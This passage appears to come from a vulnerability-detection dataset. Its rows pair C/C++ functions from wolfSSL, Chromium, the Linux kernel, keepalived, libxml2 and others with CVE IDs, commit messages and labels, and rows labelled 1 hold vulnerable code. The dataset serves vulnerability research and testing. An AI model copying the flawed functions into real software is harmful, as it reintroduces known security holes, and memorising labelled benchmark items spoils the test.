(wc_ecc_cmp_param(ecc_sets[idx].order, order,
orderSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Gx, Gx, GxSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Gy, Gy, GySz) == MP_EQ) &&
(cofactor == ecc_sets[idx].cofactor)) {
break;
}
}
}
if (ecc_sets[idx].size == 0)
return ECC_CURVE_INVALID;
return ecc_sets[idx].id;
}
|
int wc_ecc_get_curve_id_from_params(int fieldSize,
const byte* prime, word32 primeSz, const byte* Af, word32 AfSz,
const byte* Bf, word32 BfSz, const byte* order, word32 orderSz,
const byte* Gx, word32 GxSz, const byte* Gy, word32 GySz, int cofactor)
{
int idx;
int curveSz;
if (prime == NULL || Af == NULL || Bf == NULL || order == NULL ||
Gx == NULL || Gy == NULL)
return BAD_FUNC_ARG;
curveSz = (fieldSize + 1) / 8; /* round up */
for (idx = 0; ecc_sets[idx].size != 0; idx++) {
if (curveSz == ecc_sets[idx].size) {
if ((wc_ecc_cmp_param(ecc_sets[idx].prime, prime,
primeSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Af, Af, AfSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Bf, Bf, BfSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].order, order,
orderSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Gx, Gx, GxSz) == MP_EQ) &&
(wc_ecc_cmp_param(ecc_sets[idx].Gy, Gy, GySz) == MP_EQ) &&
(cofactor == ecc_sets[idx].cofactor)) {
break;
}
}
}
if (ecc_sets[idx].size == 0)
return ECC_CURVE_INVALID;
return ecc_sets[idx].id;
}
|
C
|
wolfssl
| 0 |
CVE-2011-3107
|
https://www.cvedetails.com/cve/CVE-2011-3107/
| null |
https://github.com/chromium/chromium/commit/89e4098439f73cb5c16996511cbfdb171a26e173
|
89e4098439f73cb5c16996511cbfdb171a26e173
|
[Qt][WK2] There's no way to test the gesture tap on WTR
https://bugs.webkit.org/show_bug.cgi?id=92895
Reviewed by Kenneth Rohde Christiansen.
Source/WebKit2:
Add an instance of QtViewportHandler to QQuickWebViewPrivate, so it's
now available on mobile and desktop modes, as a side effect gesture tap
events can now be created and sent to WebCore.
This is needed to test tap gestures and to get tap gestures working
when you have a WebView (in desktop mode) on notebooks equipped with
touch screens.
* UIProcess/API/qt/qquickwebview.cpp:
(QQuickWebViewPrivate::onComponentComplete):
(QQuickWebViewFlickablePrivate::onComponentComplete): Implementation
moved to QQuickWebViewPrivate::onComponentComplete.
* UIProcess/API/qt/qquickwebview_p_p.h:
(QQuickWebViewPrivate):
(QQuickWebViewFlickablePrivate):
Tools:
WTR doesn't create the QQuickItem from C++, not from QML, so a call
to componentComplete() was added to mimic the QML behaviour.
* WebKitTestRunner/qt/PlatformWebViewQt.cpp:
(WTR::PlatformWebView::PlatformWebView):
git-svn-id: svn://svn.chromium.org/blink/trunk@124625 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
void QQuickWebViewFlickablePrivate::handleMouseEvent(QMouseEvent* event)
{
if (!pageView->eventHandler())
return;
pageView->eventHandler()->handleInputEvent(event);
}
|
void QQuickWebViewFlickablePrivate::handleMouseEvent(QMouseEvent* event)
{
if (!pageView->eventHandler())
return;
pageView->eventHandler()->handleInputEvent(event);
}
|
C
|
Chrome
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/610f904d8215075c4681be4eb413f4348860bf9f
|
610f904d8215075c4681be4eb413f4348860bf9f
|
Retrieve per host storage usage from QuotaManager.
[email protected]
BUG=none
TEST=QuotaManagerTest.GetUsage
Review URL: http://codereview.chromium.org/8079004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@103921 0039d316-1c4b-4281-b951-d872f2087c98
|
int status_callback_count() const { return status_callback_count_; }
|
int status_callback_count() const { return status_callback_count_; }
|
C
|
Chrome
| 0 |
CVE-2013-0925
|
https://www.cvedetails.com/cve/CVE-2013-0925/
|
CWE-264
|
https://github.com/chromium/chromium/commit/f7ae1f7a918f1973dca241a7a23169906eaf4fe3
|
f7ae1f7a918f1973dca241a7a23169906eaf4fe3
|
Do not pass URLs in onUpdated events to extensions unless they have the
"tabs" permission.
BUG=168442
Review URL: https://chromiumcodereview.appspot.com/11824004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176406 0039d316-1c4b-4281-b951-d872f2087c98
|
DictionaryValue* ExtensionTabUtil::CreateTabValue(
const WebContents* contents,
TabStripModel* tab_strip,
int tab_index,
const Extension* extension) {
DictionaryValue *result = CreateTabValue(contents, tab_strip, tab_index);
ScrubTabValueForExtension(contents, extension, result);
return result;
}
|
DictionaryValue* ExtensionTabUtil::CreateTabValue(
const WebContents* contents,
TabStripModel* tab_strip,
int tab_index,
const Extension* extension) {
bool has_permission = extension && extension->HasAPIPermissionForTab(
GetTabId(contents), APIPermission::kTab);
return CreateTabValue(contents, tab_strip, tab_index,
has_permission ? INCLUDE_PRIVACY_SENSITIVE_FIELDS :
OMIT_PRIVACY_SENSITIVE_FIELDS);
}
|
C
|
Chrome
| 1 |
CVE-2015-1265
|
https://www.cvedetails.com/cve/CVE-2015-1265/
| null |
https://github.com/chromium/chromium/commit/04ff52bb66284467ccb43d90800013b89ee8db75
|
04ff52bb66284467ccb43d90800013b89ee8db75
|
Switching AudioOutputAuthorizationHandler from using AudioManager interface to AudioSystem one.
BUG=672468
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Review-Url: https://codereview.chromium.org/2692203003
Cr-Commit-Position: refs/heads/master@{#450939}
|
media::AudioParameters GetDeviceParametersOnDeviceThread(
|
media::AudioParameters GetDeviceParametersOnDeviceThread(
media::AudioManager* audio_manager,
const std::string& unique_id) {
DCHECK(audio_manager->GetTaskRunner()->BelongsToCurrentThread());
return media::AudioDeviceDescription::IsDefaultDevice(unique_id)
? audio_manager->GetDefaultOutputStreamParameters()
: audio_manager->GetOutputStreamParameters(unique_id);
}
|
C
|
Chrome
| 1 |
CVE-2013-2548
|
https://www.cvedetails.com/cve/CVE-2013-2548/
|
CWE-310
|
https://github.com/torvalds/linux/commit/9a5467bf7b6e9e02ec9c3da4e23747c05faeaac6
|
9a5467bf7b6e9e02ec9c3da4e23747c05faeaac6
|
crypto: user - fix info leaks in report API
Three errors resulting in kernel memory disclosure:
1/ The structures used for the netlink based crypto algorithm report API
are located on the stack. As snprintf() does not fill the remainder of
the buffer with null bytes, those stack bytes will be disclosed to users
of the API. Switch to strncpy() to fix this.
2/ crypto_report_one() does not initialize all field of struct
crypto_user_alg. Fix this to fix the heap info leak.
3/ For the module name we should copy only as many bytes as
module_name() returns -- not as much as the destination buffer could
hold. But the current code does not and therefore copies random data
from behind the end of the module name, as the module name is always
shorter than CRYPTO_MAX_ALG_NAME.
Also switch to use strncpy() to copy the algorithm's name and
driver_name. They are strings, after all.
Signed-off-by: Mathias Krause <[email protected]>
Cc: Steffen Klassert <[email protected]>
Signed-off-by: Herbert Xu <[email protected]>
|
static struct crypto_alg *crypto_alg_match(struct crypto_user_alg *p, int exact)
{
struct crypto_alg *q, *alg = NULL;
down_read(&crypto_alg_sem);
list_for_each_entry(q, &crypto_alg_list, cra_list) {
int match = 0;
if ((q->cra_flags ^ p->cru_type) & p->cru_mask)
continue;
if (strlen(p->cru_driver_name))
match = !strcmp(q->cra_driver_name,
p->cru_driver_name);
else if (!exact)
match = !strcmp(q->cra_name, p->cru_name);
if (match) {
alg = q;
break;
}
}
up_read(&crypto_alg_sem);
return alg;
}
|
static struct crypto_alg *crypto_alg_match(struct crypto_user_alg *p, int exact)
{
struct crypto_alg *q, *alg = NULL;
down_read(&crypto_alg_sem);
list_for_each_entry(q, &crypto_alg_list, cra_list) {
int match = 0;
if ((q->cra_flags ^ p->cru_type) & p->cru_mask)
continue;
if (strlen(p->cru_driver_name))
match = !strcmp(q->cra_driver_name,
p->cru_driver_name);
else if (!exact)
match = !strcmp(q->cra_name, p->cru_name);
if (match) {
alg = q;
break;
}
}
up_read(&crypto_alg_sem);
return alg;
}
|
C
|
linux
| 0 |
CVE-2018-19044
|
https://www.cvedetails.com/cve/CVE-2018-19044/
|
CWE-59
|
https://github.com/acassen/keepalived/commit/04f2d32871bb3b11d7dc024039952f2fe2750306
|
04f2d32871bb3b11d7dc024039952f2fe2750306
|
When opening files for write, ensure they aren't symbolic links
Issue #1048 identified that if, for example, a non privileged user
created a symbolic link from /etc/keepalvied.data to /etc/passwd,
writing to /etc/keepalived.data (which could be invoked via DBus)
would cause /etc/passwd to be overwritten.
This commit stops keepalived writing to pathnames where the ultimate
component is a symbolic link, by setting O_NOFOLLOW whenever opening
a file for writing.
This might break some setups, where, for example, /etc/keepalived.data
was a symbolic link to /home/fred/keepalived.data. If this was the case,
instead create a symbolic link from /home/fred/keepalived.data to
/tmp/keepalived.data, so that the file is still accessible via
/home/fred/keepalived.data.
There doesn't appear to be a way around this backward incompatibility,
since even checking if the pathname is a symbolic link prior to opening
for writing would create a race condition.
Signed-off-by: Quentin Armitage <[email protected]>
|
vrrp_promote_secondaries_handler(__attribute__((unused)) vector_t *strvec)
{
vrrp_t *vrrp = LIST_TAIL_DATA(vrrp_data->vrrp);
vrrp->promote_secondaries = true;
}
|
vrrp_promote_secondaries_handler(__attribute__((unused)) vector_t *strvec)
{
vrrp_t *vrrp = LIST_TAIL_DATA(vrrp_data->vrrp);
vrrp->promote_secondaries = true;
}
|
C
|
keepalived
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/df831400bcb63db4259b5858281b1727ba972a2a
|
df831400bcb63db4259b5858281b1727ba972a2a
|
WebKit2: Support window bounce when panning.
https://bugs.webkit.org/show_bug.cgi?id=58065
<rdar://problem/9244367>
Reviewed by Adam Roben.
Make gestureDidScroll synchronous, as once we scroll, we need to know
whether or not we are at the beginning or end of the scrollable document.
If we are at either end of the scrollable document, we call the Windows 7
API to bounce the window to give an indication that you are past an end
of the document.
* UIProcess/WebPageProxy.cpp:
(WebKit::WebPageProxy::gestureDidScroll): Pass a boolean for the reply, and return it.
* UIProcess/WebPageProxy.h:
* UIProcess/win/WebView.cpp:
(WebKit::WebView::WebView): Inititalize a new variable.
(WebKit::WebView::onGesture): Once we send the message to scroll, check if have gone to
an end of the document, and if we have, bounce the window.
* UIProcess/win/WebView.h:
* WebProcess/WebPage/WebPage.h:
* WebProcess/WebPage/WebPage.messages.in: GestureDidScroll is now sync.
* WebProcess/WebPage/win/WebPageWin.cpp:
(WebKit::WebPage::gestureDidScroll): When we are done scrolling, check if we have a vertical
scrollbar and if we are at the beginning or the end of the scrollable document.
git-svn-id: svn://svn.chromium.org/blink/trunk@83197 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
bool WebPageProxy::supportsTextEncoding() const
{
return !m_mainFrameHasCustomRepresentation && m_mainFrame && !m_mainFrame->isDisplayingStandaloneImageDocument();
}
|
bool WebPageProxy::supportsTextEncoding() const
{
return !m_mainFrameHasCustomRepresentation && m_mainFrame && !m_mainFrame->isDisplayingStandaloneImageDocument();
}
|
C
|
Chrome
| 0 |
CVE-2012-2100
|
https://www.cvedetails.com/cve/CVE-2012-2100/
|
CWE-189
|
https://github.com/torvalds/linux/commit/d50f2ab6f050311dbf7b8f5501b25f0bf64a439b
|
d50f2ab6f050311dbf7b8f5501b25f0bf64a439b
|
ext4: fix undefined behavior in ext4_fill_flex_info()
Commit 503358ae01b70ce6909d19dd01287093f6b6271c ("ext4: avoid divide by
zero when trying to mount a corrupted file system") fixes CVE-2009-4307
by performing a sanity check on s_log_groups_per_flex, since it can be
set to a bogus value by an attacker.
sbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;
groups_per_flex = 1 << sbi->s_log_groups_per_flex;
if (groups_per_flex < 2) { ... }
This patch fixes two potential issues in the previous commit.
1) The sanity check might only work on architectures like PowerPC.
On x86, 5 bits are used for the shifting amount. That means, given a
large s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36
is essentially 1 << 4 = 16, rather than 0. This will bypass the check,
leaving s_log_groups_per_flex and groups_per_flex inconsistent.
2) The sanity check relies on undefined behavior, i.e., oversized shift.
A standard-confirming C compiler could rewrite the check in unexpected
ways. Consider the following equivalent form, assuming groups_per_flex
is unsigned for simplicity.
groups_per_flex = 1 << sbi->s_log_groups_per_flex;
if (groups_per_flex == 0 || groups_per_flex == 1) {
We compile the code snippet using Clang 3.0 and GCC 4.6. Clang will
completely optimize away the check groups_per_flex == 0, leaving the
patched code as vulnerable as the original. GCC keeps the check, but
there is no guarantee that future versions will do the same.
Signed-off-by: Xi Wang <[email protected]>
Signed-off-by: "Theodore Ts'o" <[email protected]>
Cc: [email protected]
|
static int __init ext4_init_feat_adverts(void)
{
struct ext4_features *ef;
int ret = -ENOMEM;
ef = kzalloc(sizeof(struct ext4_features), GFP_KERNEL);
if (!ef)
goto out;
ef->f_kobj.kset = ext4_kset;
init_completion(&ef->f_kobj_unregister);
ret = kobject_init_and_add(&ef->f_kobj, &ext4_feat_ktype, NULL,
"features");
if (ret) {
kfree(ef);
goto out;
}
ext4_feat = ef;
ret = 0;
out:
return ret;
}
|
static int __init ext4_init_feat_adverts(void)
{
struct ext4_features *ef;
int ret = -ENOMEM;
ef = kzalloc(sizeof(struct ext4_features), GFP_KERNEL);
if (!ef)
goto out;
ef->f_kobj.kset = ext4_kset;
init_completion(&ef->f_kobj_unregister);
ret = kobject_init_and_add(&ef->f_kobj, &ext4_feat_ktype, NULL,
"features");
if (ret) {
kfree(ef);
goto out;
}
ext4_feat = ef;
ret = 0;
out:
return ret;
}
|
C
|
linux
| 0 |
CVE-2014-7842
|
https://www.cvedetails.com/cve/CVE-2014-7842/
|
CWE-362
|
https://github.com/torvalds/linux/commit/a2b9e6c1a35afcc0973acb72e591c714e78885ff
|
a2b9e6c1a35afcc0973acb72e591c714e78885ff
|
KVM: x86: Don't report guest userspace emulation error to userspace
Commit fc3a9157d314 ("KVM: X86: Don't report L2 emulation failures to
user-space") disabled the reporting of L2 (nested guest) emulation failures to
userspace due to race-condition between a vmexit and the instruction emulator.
The same rational applies also to userspace applications that are permitted by
the guest OS to access MMIO area or perform PIO.
This patch extends the current behavior - of injecting a #UD instead of
reporting it to userspace - also for guest userspace code.
Signed-off-by: Nadav Amit <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]>
|
int kvm_emulate_hypercall(struct kvm_vcpu *vcpu)
{
unsigned long nr, a0, a1, a2, a3, ret;
int op_64_bit, r = 1;
if (kvm_hv_hypercall_enabled(vcpu->kvm))
return kvm_hv_hypercall(vcpu);
nr = kvm_register_read(vcpu, VCPU_REGS_RAX);
a0 = kvm_register_read(vcpu, VCPU_REGS_RBX);
a1 = kvm_register_read(vcpu, VCPU_REGS_RCX);
a2 = kvm_register_read(vcpu, VCPU_REGS_RDX);
a3 = kvm_register_read(vcpu, VCPU_REGS_RSI);
trace_kvm_hypercall(nr, a0, a1, a2, a3);
op_64_bit = is_64_bit_mode(vcpu);
if (!op_64_bit) {
nr &= 0xFFFFFFFF;
a0 &= 0xFFFFFFFF;
a1 &= 0xFFFFFFFF;
a2 &= 0xFFFFFFFF;
a3 &= 0xFFFFFFFF;
}
if (kvm_x86_ops->get_cpl(vcpu) != 0) {
ret = -KVM_EPERM;
goto out;
}
switch (nr) {
case KVM_HC_VAPIC_POLL_IRQ:
ret = 0;
break;
case KVM_HC_KICK_CPU:
kvm_pv_kick_cpu_op(vcpu->kvm, a0, a1);
ret = 0;
break;
default:
ret = -KVM_ENOSYS;
break;
}
out:
if (!op_64_bit)
ret = (u32)ret;
kvm_register_write(vcpu, VCPU_REGS_RAX, ret);
++vcpu->stat.hypercalls;
return r;
}
|
int kvm_emulate_hypercall(struct kvm_vcpu *vcpu)
{
unsigned long nr, a0, a1, a2, a3, ret;
int op_64_bit, r = 1;
if (kvm_hv_hypercall_enabled(vcpu->kvm))
return kvm_hv_hypercall(vcpu);
nr = kvm_register_read(vcpu, VCPU_REGS_RAX);
a0 = kvm_register_read(vcpu, VCPU_REGS_RBX);
a1 = kvm_register_read(vcpu, VCPU_REGS_RCX);
a2 = kvm_register_read(vcpu, VCPU_REGS_RDX);
a3 = kvm_register_read(vcpu, VCPU_REGS_RSI);
trace_kvm_hypercall(nr, a0, a1, a2, a3);
op_64_bit = is_64_bit_mode(vcpu);
if (!op_64_bit) {
nr &= 0xFFFFFFFF;
a0 &= 0xFFFFFFFF;
a1 &= 0xFFFFFFFF;
a2 &= 0xFFFFFFFF;
a3 &= 0xFFFFFFFF;
}
if (kvm_x86_ops->get_cpl(vcpu) != 0) {
ret = -KVM_EPERM;
goto out;
}
switch (nr) {
case KVM_HC_VAPIC_POLL_IRQ:
ret = 0;
break;
case KVM_HC_KICK_CPU:
kvm_pv_kick_cpu_op(vcpu->kvm, a0, a1);
ret = 0;
break;
default:
ret = -KVM_ENOSYS;
break;
}
out:
if (!op_64_bit)
ret = (u32)ret;
kvm_register_write(vcpu, VCPU_REGS_RAX, ret);
++vcpu->stat.hypercalls;
return r;
}
|
C
|
linux
| 0 |
CVE-2017-7375
|
https://www.cvedetails.com/cve/CVE-2017-7375/
|
CWE-611
|
https://android.googlesource.com/platform/external/libxml2/+/308396a55280f69ad4112d4f9892f4cbeff042aa
|
308396a55280f69ad4112d4f9892f4cbeff042aa
|
DO NOT MERGE: Add validation for eternal enities
https://bugzilla.gnome.org/show_bug.cgi?id=780691
Bug: 36556310
Change-Id: I9450743e167c3c73af5e4071f3fc85e81d061648
(cherry picked from commit bef9af3d89d241bcb518c20cba6da2a2fd9ba049)
|
xmlParseDefaultDecl(xmlParserCtxtPtr ctxt, xmlChar **value) {
int val;
xmlChar *ret;
*value = NULL;
if (CMP9(CUR_PTR, '#', 'R', 'E', 'Q', 'U', 'I', 'R', 'E', 'D')) {
SKIP(9);
return(XML_ATTRIBUTE_REQUIRED);
}
if (CMP8(CUR_PTR, '#', 'I', 'M', 'P', 'L', 'I', 'E', 'D')) {
SKIP(8);
return(XML_ATTRIBUTE_IMPLIED);
}
val = XML_ATTRIBUTE_NONE;
if (CMP6(CUR_PTR, '#', 'F', 'I', 'X', 'E', 'D')) {
SKIP(6);
val = XML_ATTRIBUTE_FIXED;
if (!IS_BLANK_CH(CUR)) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space required after '#FIXED'\n");
}
SKIP_BLANKS;
}
ret = xmlParseAttValue(ctxt);
ctxt->instate = XML_PARSER_DTD;
if (ret == NULL) {
xmlFatalErrMsg(ctxt, (xmlParserErrors)ctxt->errNo,
"Attribute default value declaration error\n");
} else
*value = ret;
return(val);
}
|
xmlParseDefaultDecl(xmlParserCtxtPtr ctxt, xmlChar **value) {
int val;
xmlChar *ret;
*value = NULL;
if (CMP9(CUR_PTR, '#', 'R', 'E', 'Q', 'U', 'I', 'R', 'E', 'D')) {
SKIP(9);
return(XML_ATTRIBUTE_REQUIRED);
}
if (CMP8(CUR_PTR, '#', 'I', 'M', 'P', 'L', 'I', 'E', 'D')) {
SKIP(8);
return(XML_ATTRIBUTE_IMPLIED);
}
val = XML_ATTRIBUTE_NONE;
if (CMP6(CUR_PTR, '#', 'F', 'I', 'X', 'E', 'D')) {
SKIP(6);
val = XML_ATTRIBUTE_FIXED;
if (!IS_BLANK_CH(CUR)) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space required after '#FIXED'\n");
}
SKIP_BLANKS;
}
ret = xmlParseAttValue(ctxt);
ctxt->instate = XML_PARSER_DTD;
if (ret == NULL) {
xmlFatalErrMsg(ctxt, (xmlParserErrors)ctxt->errNo,
"Attribute default value declaration error\n");
} else
*value = ret;
return(val);
}
|
C
|
Android
| 0 |
CVE-2013-0904
|
https://www.cvedetails.com/cve/CVE-2013-0904/
|
CWE-119
|
https://github.com/chromium/chromium/commit/b2b21468c1f7f08b30a7c1755316f6026c50eb2a
|
b2b21468c1f7f08b30a7c1755316f6026c50eb2a
|
Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
[email protected], [email protected], [email protected]
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
LayoutUnit RenderBlockFlow::clearFloatsIfNeeded(RenderBox* child, MarginInfo& marginInfo, LayoutUnit oldTopPosMargin, LayoutUnit oldTopNegMargin, LayoutUnit yPos, bool childIsSelfCollapsing)
{
LayoutUnit heightIncrease = getClearDelta(child, yPos);
if (!heightIncrease)
return yPos;
if (childIsSelfCollapsing) {
bool childDiscardMargin = mustDiscardMarginBeforeForChild(child) || mustDiscardMarginAfterForChild(child);
RenderBlockFlow::MarginValues childMargins = marginValuesForChild(child);
if (!childDiscardMargin) {
marginInfo.setPositiveMargin(max(childMargins.positiveMarginBefore(), childMargins.positiveMarginAfter()));
marginInfo.setNegativeMargin(max(childMargins.negativeMarginBefore(), childMargins.negativeMarginAfter()));
} else {
marginInfo.clearMargin();
}
marginInfo.setDiscardMargin(childDiscardMargin);
marginInfo.setCanCollapseMarginAfterWithLastChild(false);
setLogicalHeight(child->logicalTop() + childMargins.negativeMarginBefore());
} else {
setLogicalHeight(logicalHeight() + heightIncrease);
}
if (marginInfo.canCollapseWithMarginBefore()) {
setMaxMarginBeforeValues(oldTopPosMargin, oldTopNegMargin);
marginInfo.setAtBeforeSideOfBlock(false);
setMustDiscardMarginBefore(style()->marginBeforeCollapse() == MDISCARD);
}
return yPos + heightIncrease;
}
|
LayoutUnit RenderBlockFlow::clearFloatsIfNeeded(RenderBox* child, MarginInfo& marginInfo, LayoutUnit oldTopPosMargin, LayoutUnit oldTopNegMargin, LayoutUnit yPos, bool childIsSelfCollapsing)
{
LayoutUnit heightIncrease = getClearDelta(child, yPos);
if (!heightIncrease)
return yPos;
if (childIsSelfCollapsing) {
bool childDiscardMargin = mustDiscardMarginBeforeForChild(child) || mustDiscardMarginAfterForChild(child);
RenderBlockFlow::MarginValues childMargins = marginValuesForChild(child);
if (!childDiscardMargin) {
marginInfo.setPositiveMargin(max(childMargins.positiveMarginBefore(), childMargins.positiveMarginAfter()));
marginInfo.setNegativeMargin(max(childMargins.negativeMarginBefore(), childMargins.negativeMarginAfter()));
} else {
marginInfo.clearMargin();
}
marginInfo.setDiscardMargin(childDiscardMargin);
marginInfo.setCanCollapseMarginAfterWithLastChild(false);
setLogicalHeight(child->logicalTop() + childMargins.negativeMarginBefore());
} else {
setLogicalHeight(logicalHeight() + heightIncrease);
}
if (marginInfo.canCollapseWithMarginBefore()) {
setMaxMarginBeforeValues(oldTopPosMargin, oldTopNegMargin);
marginInfo.setAtBeforeSideOfBlock(false);
setMustDiscardMarginBefore(style()->marginBeforeCollapse() == MDISCARD);
}
return yPos + heightIncrease;
}
|
C
|
Chrome
| 0 |
CVE-2018-19497
|
https://www.cvedetails.com/cve/CVE-2018-19497/
|
CWE-125
|
https://github.com/sleuthkit/sleuthkit/commit/bc04aa017c0bd297de8a3b7fc40ffc6ddddbb95d
|
bc04aa017c0bd297de8a3b7fc40ffc6ddddbb95d
|
Merge pull request #1374 from JordyZomer/develop
Fix CVE-2018-19497.
|
static int hfs_decompress_lzvn_block(char* rawBuf, uint32_t len, char* uncBuf, uint64_t* uncLen)
{
if (len > 0 && rawBuf[0] != 0x06) {
*uncLen = lzvn_decode_buffer(uncBuf, COMPRESSION_UNIT_SIZE, rawBuf, len);
return 1; // apparently this can't fail
}
else {
return hfs_decompress_noncompressed_block(rawBuf, len, uncBuf, uncLen);
}
}
|
static int hfs_decompress_lzvn_block(char* rawBuf, uint32_t len, char* uncBuf, uint64_t* uncLen)
{
if (len > 0 && rawBuf[0] != 0x06) {
*uncLen = lzvn_decode_buffer(uncBuf, COMPRESSION_UNIT_SIZE, rawBuf, len);
return 1; // apparently this can't fail
}
else {
return hfs_decompress_noncompressed_block(rawBuf, len, uncBuf, uncLen);
}
}
|
C
|
sleuthkit
| 0 |
CVE-2014-3173
|
https://www.cvedetails.com/cve/CVE-2014-3173/
|
CWE-119
|
https://github.com/chromium/chromium/commit/ee7579229ff7e9e5ae28bf53aea069251499d7da
|
ee7579229ff7e9e5ae28bf53aea069251499d7da
|
Framebuffer clear() needs to consider the situation some draw buffers are disabled.
This is when we expose DrawBuffers extension.
BUG=376951
TEST=the attached test case, webgl conformance
[email protected],[email protected]
Review URL: https://codereview.chromium.org/315283002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@275338 0039d316-1c4b-4281-b951-d872f2087c98
|
void GLES2DecoderImpl::DoGetBufferParameteriv(
GLenum target, GLenum pname, GLint* params) {
buffer_manager()->ValidateAndDoGetBufferParameteriv(
&state_, target, pname, params);
}
|
void GLES2DecoderImpl::DoGetBufferParameteriv(
GLenum target, GLenum pname, GLint* params) {
buffer_manager()->ValidateAndDoGetBufferParameteriv(
&state_, target, pname, params);
}
|
C
|
Chrome
| 0 |
CVE-2019-5787
|
https://www.cvedetails.com/cve/CVE-2019-5787/
|
CWE-416
|
https://github.com/chromium/chromium/commit/6a7063ae61cf031630b48bdcdb09863ffc199962
|
6a7063ae61cf031630b48bdcdb09863ffc199962
|
Clean up CanvasResourceDispatcher on finalizer
We may have pending mojo messages after GC, so we want to drop the
dispatcher as soon as possible.
Bug: 929757,913964
Change-Id: I5789bcbb55aada4a74c67a28758f07686f8911c0
Reviewed-on: https://chromium-review.googlesource.com/c/1489175
Reviewed-by: Ken Rockot <[email protected]>
Commit-Queue: Ken Rockot <[email protected]>
Commit-Queue: Fernando Serboncini <[email protected]>
Auto-Submit: Fernando Serboncini <[email protected]>
Cr-Commit-Position: refs/heads/master@{#635833}
|
void HTMLCanvasElement::SetResourceProviderForTesting(
std::unique_ptr<CanvasResourceProvider> resource_provider,
std::unique_ptr<Canvas2DLayerBridge> bridge,
const IntSize& size) {
DiscardResourceProvider();
SetIntegralAttribute(kWidthAttr, size.Width());
SetIntegralAttribute(kHeightAttr, size.Height());
SetCanvas2DLayerBridgeInternal(std::move(bridge));
ReplaceResourceProvider(std::move(resource_provider));
}
|
void HTMLCanvasElement::SetResourceProviderForTesting(
std::unique_ptr<CanvasResourceProvider> resource_provider,
std::unique_ptr<Canvas2DLayerBridge> bridge,
const IntSize& size) {
DiscardResourceProvider();
SetIntegralAttribute(kWidthAttr, size.Width());
SetIntegralAttribute(kHeightAttr, size.Height());
SetCanvas2DLayerBridgeInternal(std::move(bridge));
ReplaceResourceProvider(std::move(resource_provider));
}
|
C
|
Chrome
| 0 |
CVE-2019-17178
|
https://www.cvedetails.com/cve/CVE-2019-17178/
|
CWE-772
|
https://github.com/akallabeth/FreeRDP/commit/fc80ab45621bd966f70594c0b7393ec005a94007
|
fc80ab45621bd966f70594c0b7393ec005a94007
|
Fixed #5645: realloc return handling
|
BOOL region16_is_empty(const REGION16* region)
{
assert(region);
assert(region->data);
return (region->data->nbRects == 0);
}
|
BOOL region16_is_empty(const REGION16* region)
{
assert(region);
assert(region->data);
return (region->data->nbRects == 0);
}
|
C
|
FreeRDP
| 0 |
CVE-2012-2891
|
https://www.cvedetails.com/cve/CVE-2012-2891/
|
CWE-200
|
https://github.com/chromium/chromium/commit/116d0963cadfbf55ef2ec3d13781987c4d80517a
|
116d0963cadfbf55ef2ec3d13781987c4d80517a
|
Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
|
void PrintPreviewHandler::HandleReportDestinationEvent(const ListValue* args) {
int event_number;
bool ret = args->GetInteger(0, &event_number);
if (!ret)
return;
enum PrintDestinationBuckets event =
static_cast<enum PrintDestinationBuckets>(event_number);
if (event >= PRINT_DESTINATION_BUCKET_BOUNDARY)
return;
ReportPrintDestinationHistogram(event);
}
|
void PrintPreviewHandler::HandleReportDestinationEvent(const ListValue* args) {
int event_number;
bool ret = args->GetInteger(0, &event_number);
if (!ret)
return;
enum PrintDestinationBuckets event =
static_cast<enum PrintDestinationBuckets>(event_number);
if (event >= PRINT_DESTINATION_BUCKET_BOUNDARY)
return;
ReportPrintDestinationHistogram(event);
}
|
C
|
Chrome
| 0 |
CVE-2011-3055
|
https://www.cvedetails.com/cve/CVE-2011-3055/
